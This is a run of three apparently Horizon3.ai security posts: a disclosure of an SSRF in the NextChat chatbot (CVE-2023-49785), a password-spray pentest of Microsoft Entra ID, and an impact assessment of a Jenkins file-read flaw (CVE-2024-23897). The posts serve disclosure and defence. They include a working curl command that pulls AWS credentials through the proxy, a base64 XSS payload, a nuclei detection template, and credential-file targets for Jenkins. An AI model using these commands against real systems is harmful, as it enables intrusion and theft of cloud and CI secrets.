With the advent of generative AI, AI chatbots are everywhere. While users can chat with large-langage models (LLMs) using a SaaS provider like OpenAI, there are lots of standalone chatbot applications available for users to deploy and use too. These standalone applications generally offer a richer user interface than OpenAI, additional features such as the ability to plug in and test different models, and the ability to potentially bypass IP block restrictions.

From our research, the most widely deployed standalone Gen AI chatbot is NextChat, a.k.a ChatGPT-Next-Web. This is a GitHub project with 63K+ stars and 52K+ forks. The Shodan query  title:NextChat,"ChatGPT Next Web" pulls up 7500+ exposed instances, mostly in China and the US.

This application is vulnerable to a critical full-read server-side request forgery (SSRF) vulnerability, CVE-2023-49785, that we disclosed to the vendor in November 2023. As of this writing, there is no patch for the vulnerability, and since 90+ days has passed since our original disclosure, we are now releasing full details here.

CVE-2023-49785: A Super SSRF

NextChat is a Next.js-based Javascript application, and most of its functionality is implemented as client-side code.

There are, however, a few exposed server endpoints. One of these endpoints is at /api/cors, and it functions by design as an open proxy, allowing unauthenticated users to send arbitrary HTTP requests through it. This endpoint appears to have been added to support saving client-side chat data to WebDAV servers. The presence of this endpoint is an anti-pattern: it allows clients to bypass built in browser protections for accessing cross-domain resources by accessing them through a server-side endpoint instead.

For instance to access Google through this proxy, one can make the following request:

SSRF vulnerabilities vary considerably in terms of real-world impact. This particular SSRF is about as bad as it gets. It’s dangerous because:

• It enables access to arbitrary HTTP endpoints, including any internal endpoints
• It returns the full response from any accessed HTTP endpoints
• It supports arbitrary HTTP methods such as POST, PUT, etc by setting the method header. Request bodies are also passed along.
• URL query parameters can be passed along with URL encoding.
• It supports passing along an Authorization header in requests.

If this application is exposed on the Internet, an attacker essentially has full access to any other HTTP resources accessible in the same internal network as the application. The only limitation is passing along other headers such as Cookie or Content-Type, though there may be creative ways to inject these headers.

Here’s an example of accessing the AWS cloud metadata service to retrieve AWS access keys off an AWS EC2 instance running with IMDSv1 enabled:

sh-3.2# curl http://54.145.48.76:3000/api/cors/http/169.254.169.254/latest/meta-data/iam/security-credentials/REDACTED
{
  "Code" : "Success",
  "LastUpdated" : "2024-03-08T00:22:17Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA-REDACTED",
  "SecretAccessKey" : "C2CW-REDACTED",
  "Token" : "IQoJb3JpZ2luX2VjENH-REDACTED",
  "Expiration" : "2024-03-08T06:58:15Z"
}

Reflected XSS

Almost all reflected XSS vulnerabilities are of little value to attackers. But we thought it was interesting to note that this vulnerability can be used to directly trigger an XSS without loading another site. This is because the fetch method used by the /api/cors endpoint also supports the data protocol.

For instance, the following payload:

data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23

will be decoded to <script>alert(document.domain)</script> at the server and sent back to the client, resulting in XSS:

Mitigations

Our assessment of this vulnerability puts the CVE base score at 9.1 (critical). The vulnerability not only enables read access to internal HTTP endpoints but also write access using HTTP POST, PUT, and other methods. Attackers can also use this vulnerability to mask their source IP by forwarding malicious traffic intended for other Internet targets through these open proxies.

As of this writing, there is no patch for the vulnerability. More than 90 days has passed since our original contact.

• Nov. 25, 2023: Horizon3 reports security issue to ChatGPT-Next-Web via GitHub vulnerability disclosure process
• Nov. 26, 2023: Vendor accepts the report
• Dec. 6, 2023: GitHub CNA reserves CVE-2023-49785
• Jan. 15, 2024: Horizon3 asks vendor for an update using the GitHub security issue. No response.
• Mar. 7, 2024: Horizon3 asks vendor for an update using the GitHub security issue. No response.
• Mar. 11, 2024: Public disclosure

We recommend that users not expose this application on the Internet. If it must be exposed to the Internet, ensure it is an isolated network with no access to any other internal resources. Beware that attackers can still use the application as an open proxy to disguise malicious traffic to other targets through it.

Detection

The following nuclei template can be used to detect this vulnerability. The vulnerable code was introduced in Sept. 2023. The majority of instances online, including any instances using the more recent “NextChat” name, are highly likely to be vulnerable.

id: CVE-2023-49785

info:
  name: CVE-2023-49785
  author: nvn1729
  severity: critical
  description: Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web
  remediation: |
    Do not expose to the Internet
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2023-49785
  tags: cve-2023-49785,ssrf,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"
      - "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS interaction from second request
        words:
          - "dns"
      
      - type: dsl
        dsl:
          - 'contains(body_1, "<script>alert(document.domain)</script>") && contains(header_1, "text/html")' # XSS validation in first request
          - 'contains(header_2, "X-Interactsh-Version")' # Or got HTTP response back from Interact server

Conclusion

Over the last two years, we have observed the rapid pace of development of new generative AI applications, and there is a big appetite to use and experiment with these applications. We’ve also observed a steady blurring of lines between personal use and corporate use. While NextChat is primarily meant for personal use, we’ve seen it in a few of our own client environments.

Security has simply not kept up, both AppSec practices and vulnerability disclosure processes. The focus of the infosec community and media at large has been on “security harms” like prompt injection or model poisoning, but there are lots of high impact, conventional vulnerabilities to be found. We recommend users exercise caution when exposing any unvetted Gen AI tools to the Internet.

References

• NextChat, a.k.a ChatGPT-Next-Web

The post NextChat: An AI Chatbot That Lets You Talk to Anyone You Want To appeared first on Horizon3.ai.

On January 19, 2024, Microsoft disclosed a major security incident in which the email of Microsoft senior executives and other staff were accessed by Midnight Blizzard a.k.a Cozy Bear, a nation-state threat actor affiliated with Russia. Microsoft determined that the actor got initial access using password spray to compromise a legacy non-production test tenant account in Microsoft Entra ID (formerly Azure AD). The actor then moved laterally using the excessive permissions granted to that test account to access the email of Microsoft employees.

Password spray is a surprisingly simple and effective technique we’ve written about before. In a password spray attack, an attacker tries to login to a lot of accounts using a few probable passwords, with the hope that at least one account is using a weak password.

In this real-world external pentest, we’ll show NodeZero conducting a password spray attack against Microsoft Entra ID to get initial access to a client’s tenant account, similar to what Midnight Blizzard did. From there NodeZero detects that multi-factor authentication is disabled and breaks into the email of the compromised user.

A Real World Example

In this example, a client conducted an external pentest using NodeZero. NodeZero ran from Horizon3.ai’s cloud environment and was not provided any credentials.

Configuring an External Pentest for Password Spray

When defining the assets in scope for this pentest, the client provided NodeZero a list of company-owned domains. NodeZero uses these domains to enumerate Azure tenants that belong to the client.

In the Attack Configuration for the pentest, the MS Entra (Azure AD) Password Spray flag was also enabled. This is on by default.

To avoid locking out accounts, NodeZero only attempts three passwords an hour. A duration of time can be set for how long the pentest runs, in order to get in more password spray attempts.

Attack Path

Here are the steps NodeZero took in this test to get to business email compromise:

1. NodeZero used the provided domains to discover a Microsoft Entra tenant associated with the client.
2. NodeZero used open source intelligence (OSINT) to discover potential usernames associated with the client.
3. NodeZero verified which users are actual users belonging to the client’s tenant.
4. NodeZero sprayed a highly probable password against all verified users. One of the users hit!
5. NodeZero then discovered that MFA was disabled for the user. NodeZero logged into the user’s account and acquired an Azure access and refresh token.
6. NodeZero then accessed the user’s Microsoft365 inbox.

The full attack path is shown below:

Takeaways

It took NodeZero less than 10 minutes to execute this attack path leading to business email compromise, starting with no privileges in the form of credentials or network access. This attack was performed autonomously with no human assistance or prior scripting.

The impact of business email compromise is huge. Not only can attackers access potentially sensitive data, they can use the compromised account to conduct lateral phishing attacks and further escalate privileges.

Microsoft has been rolling out MFA for all its tenants, but in practice we’ve seen that there have been gaps in this rollout, just as Microsoft experienced with its own legacy test tenant. The application of MFA also depends on how the tenant is configured. Use NodeZero to verify your true security posture!

 

The post NodeZero APT: Azure Password Spray Leads to Business Email Compromise appeared first on Horizon3.ai.

Last Wednesday, on January 24, 2024, the Jenkins team issued a security advisory disclosing a critical vulnerability, CVE-2024-23897, affecting the Jenkins CI/CD tool. This advisory set off alarm bells among the infosec community because the potential impact is huge: Jenkins is widely deployed, with tens of thousands of public-facing installs, and the Jenkins advisory was clear that this vulnerability could lead to remote code execution. Jenkins is a common target for attackers, and, as of this writing, there are four prior Jenkins-related vulnerabilities in CISA’s catalog of Known Exploited Vulnerabilities.

Our advice for users of Jenkins is don’t panic… unless you need to. This is a textbook example of a vulnerability whose true impact can only be accurately assessed within the context of your environment. The typical Jenkins install will not be exploitable by unauthenticated attackers. However, there are a few factors that could significantly increase the potential for damage, elevating this to a truly critical vulnerability. We’ll discuss these factors in this post, as well as how the NodeZero platform can be used to provide an accurate assessment of risk.

Background

CVE-2023-23897 resides in the Jenkins CLI, an alternative way for users to interact with Jenkins without going through web interface. The CLI is enabled by default. Vulnerable Jenkins servers misinterpret command line arguments supplied by users to the CLI. Specifically, CLI arguments preprended by @ are incorrectly interpreted as files that need to be opened to read in arguments, and in some cases the lines in these files are echo’d back as part of error messages to the CLI user. A detailed technical explanation is available here from Yaniz Nizry of Sonarsource, who discovered the vulnerability.

An unauthenticated attacker with no permissions (i.e. the default Jenkins install) can leak the first couple of lines of arbitrary text files on a vulnerable Jenkins server. For instance, here’s an example of retrieving the first few lines of the C:\windows\win.ini file using the CLI help command.

An authenticated attacker can retrieve entire text files, using the connect-node CLI command:

Dangerous Configuration Options

There are two dangerous Jenkins configuration options that allow unauthenticated attackers to effectively act like authenticated attackers. The “Allow users to sign up” option allows anyone with access to the Jenkins instance to self-register an account. And the “Allow anonymous read access” option gives everyone the Overall/Read permission.

For instance here’s an example of an unauthenticated attacker reading the /etc/passwd file off a Jenkins server that has been enabled with the “Allow anonymous read access” option:

Reading Binary Files

Binary files can also be read but the Jenkins server will try to convert them into text, using the default character encoding set defined for the Jenkins server. Binary characters outside the character encoding set will be returned in mangled/unusable form back to the CLI user. According to the Jenkins advisory, if Jenkins is running on Linux, where the default character encoding set is UTF-8, an average of half the characters in binary files will end up being mangled. However, if Jenkins is running on Windows, where the default character encoding set is Windows 1252, a much smaller percentage (5/256) of the characters would be mangled on average. Therefore it may be possible for an attacker targeting a Jenkins server running on Windows to re-construct secrets contained in binary files. This is significant because the hudson.util.Secret file is a small binary file that contains an encrypted key used to encrypt other secrets.

Here’s an example of trying to read the hudson.util.Secret file on Linux:

Remote Code Execution and Credential Dumping

Given the above, how likely is it that an attacker can use this vulnerability to achieve remote code execution or dump credentials stored within Jenkins? We put together the following risk matrix:

Risk Matrix	Jenkins Server Running on Linux	Jenkins Server Running on Windows
Attacker has no permissions	Risk: Low Can only read the first few lines of arbitrary text files An attacker may happen to discover a “password.txt” file containing a secret or a secret in the first few lines of a bash history file. Binary files can’t be read The Jenkins master.key can be retrieved but this file by itself can’t be used to do much. This is a key that encrypts other keys, and those other keys are stored in binary format.	Risk: Moderate Can only read the first few lines of arbitrary text files. An attacker may happen to discover a “password.txt” file containing a secret. It may be possible to read/reconstruct secrets in binary files like the hudson.util.Secret file. In our testing, we found that this is not a given because files could contain newline characters and get truncated, and files may be mangled to the point that their contents can’t be guessed. If it is possible to read binary files, there is a path to remote code execution in non-default configurations where the “Resource Root URL” configuration is enabled.
Attacker has Overall/Read permissions	Risk: High Can fully read arbitrary text files, leading to significant information disclosure An attacker could retrieve SSH private keys that happen to be resident on the server. These keys could used to log in to the server or other machines in the network, leading to remote code execution. This assumes the SSH port is accessible and the private key is not protected by a password or the password can be cracked. Binary files can’t be read The Jenkins master.key can be retrieved but this file by itself can’t be used to do much. This is a key that encrypts other keys, and those other keys are stored in binary format.	Risk: Very High Can fully read arbitrary text files, leading to significant information disclosure An attacker can fully read binary files, albeit partially mangled. An attacker may be able to reconstruct secrets in files such as the hudson.util.Secret file. If it’s possible to read secrets stored in binary files, there are multiple paths to remote code execution, such as forging a RememberMe cookie. If it’s possible to read secrets stored in binary files, an attacker can dump all credentials stored in Jenkins. Cred dumping only requires three files from the Jenkins server: the master.key, the hudson.util.Secret file, and the credentials.xml file, and there are off-the-shelf tools to accomplish this.

 

How NodeZero Assesses CVE-2024-23897

One of the core functions of the NodeZero platform is exploiting vulnerabilities to help practitioners understand the true risk of these vulnerabilities and to plan remediation accordingly.

To assess this particular vulnerability, NodeZero performs the following steps:

• Determines if the Jenkins server is vulnerable using the X-Jenkins version header present in HTTP responses.
• Benignly exploits the vulnerability by attempting to read the /etc/passwd and C:\windows\win.ini file from the server
  • This is done using multiple Jenkins CLI commands to determine if an unauthenticated attacker has no permissions (can only partially read files) or Overall/Read permissions (can fully read files)
  • This helps determine if the Jenkins server is running on Linux or Windows
  • NodeZero also accounts for Jenkins servers running behind reverse proxies, which may or may not be exploitable.
• Checks if user self signup is enabled.

By default, NodeZero assigns this particular vulnerability a base score of 8.1 (High). This is the score we’d expect for typical Jenkins installs that haven’t been patched for this vulnerability but are using default configuration options and are running on Linux. The proof that NodeZero captures for the vulnerability shows the partial contents of the /etc/passwd file:

If NodeZero finds that any of the following conditions are true, it elevates the score to 9.5 (Critical):

• Unauthenticated attacker has Overall/Read permissions
• User self signup is enabled
• The Jenkins server is running on Windows

For instance, on this Jenkins server, self signup is enabled, and anonymous users are configured with Overall/Read permissions, enabling unauthenticated attackers to read the full content of text files:

Here’s a Jenkins server running on Windows where only partial file read is possible, but there’s a chance attackers may still be able to recover secrets stored in binary files, leading to further compromise:

Finally, it’s not always possible to exploit this vulnerability, particularly if the Jenkins server is running behind a reverse proxy. NodeZero will mark vulnerabilities for which exploits have failed with a failure reason and downgrade the severity of the vulnerability accordingly.

Remediation

Updating to at least Jenkins versions 2.442 and 2.426.3 (long-term support version) will address this vulnerability. It is also possible to mitigate by disabling the Jenkins CLI, as described here.

We recommend patching immediately if NodeZero identifies conditions that elevate this to a critical severity. Note that if you’re running Jenkins on the Internet, the dangerous configuration options of anonymous read access and self signup should never be enabled. NodeZero will surface these misconfigurations as additional weaknesses.

Even if NodeZero doesn’t identify CVE-2024-23897 as a critical vulnerability, it still merits patching. It is entirely possible for attackers to acquire credentials for valid users through attacks such as password spray, and then exploit CVE-2024-23897 as an authenticated user to read arbitrary files.

References

• Jenkins Advisory
• Jenkins Patch Workaround
• SonarSource Researcher Writeup
• CVE-2024-23897

 

The post CVE-2024-23897: Assessing the Impact of the Jenkins Arbitrary File Leak Vulnerability appeared first on Horizon3.ai.